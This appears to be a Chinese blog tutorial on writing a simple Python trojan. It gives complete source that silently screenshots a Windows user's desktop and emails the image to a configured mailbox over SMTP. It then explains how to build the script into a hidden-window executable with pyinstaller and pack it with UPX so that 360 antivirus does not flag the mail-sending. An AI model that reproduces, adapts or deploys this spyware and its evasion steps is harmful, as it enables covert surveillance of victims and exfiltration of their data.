python简易木马编写
功能为对用户机器进行截图,并将截图结果发送至程序指定邮箱。
系统由两个功能组成:获取屏幕截图和发送邮件到邮箱。
源码如下:
# -*- coding: utf-8 -*- import win32gui import win32ui import win32con import win32api import os,os.path from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart import smtplib def sendFile(FilePos): msg = MIMEMultipart() To = 'XXXXX'(接受邮箱的地址,如[email protected]) From = 'XXXXX'(发送邮箱的地址,如[email protected]) FromPWD = 'XXXXX'(发送邮箱的密码) SmtpSrv = 'XXXXXX'(邮箱服务器,如stmp.qq.com) att = MIMEText(open(FilePos, 'rb').read(), 'base64', 'gb2312') att["Content-Type"] = 'application/octet-stream' att["Content-Disposition"] = 'attachment; filename='+FilePos msg.attach(att) msg['to'] = To msg['from'] = From msg['subject'] = 'test' try: print 'try to send' server = smtplib.SMTP() server.connect(SmtpSrv) server.login(From,FromPWD) server.sendmail(msg['from'], msg['to'],msg.as_string()) server.quit() print 'send success' except Exception, e: print str(e) # 获取桌面 hdesktop = win32gui.GetDesktopWindow() # 分辨率适应 width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # 创建设备描述表 desktop_dc = win32gui.GetWindowDC(hdesktop) img_dc = win32ui.CreateDCFromHandle(desktop_dc) # 创建一个内存设备描述表 mem_dc = img_dc.CreateCompatibleDC() # 创建位图对象 screenshot = win32ui.CreateBitmap() screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot) # 截图至内存设备描述表 mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) # 将截图保存到文件中 screenshot.SaveBitmapFile(mem_dc, 'screenshot.bmp') # 内存释放 mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle()) sendFile('screenshot.bmp')
收发邮箱的地址可均填为自己的QQ邮件,密码为QQ邮箱密码。服务器为qq的stmp服务器
其中sendFile函数功能为向用户指定的邮箱发送有附件的邮件,其中附件为输入参数FilePos所在的位置。本系统中FilePos为screenshot.bmp,即发送邮件中的附件为当前目录下的screenshot.bmp。
从代码中可看出系统首先通过windows提供的API获取截图,并将截图保存至当前目录,命名为screenshot.bmp,之后通过sendFile函数将其发送出去。
代码写完以后通过pyinstaller将py文件打包为.exe文件。具体使用方法见:
参数选择建议为:
python pyinstaller.py -F -w PythonFileName.py
其中PythonFileName.py为编写的python文件。
此外,执行exe文件时会被360检测到程序有发送邮件的动作,可通过加壳避免。
加壳软件推荐使用UPX Shell:这样360就不会检测到了。
参考链接:
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。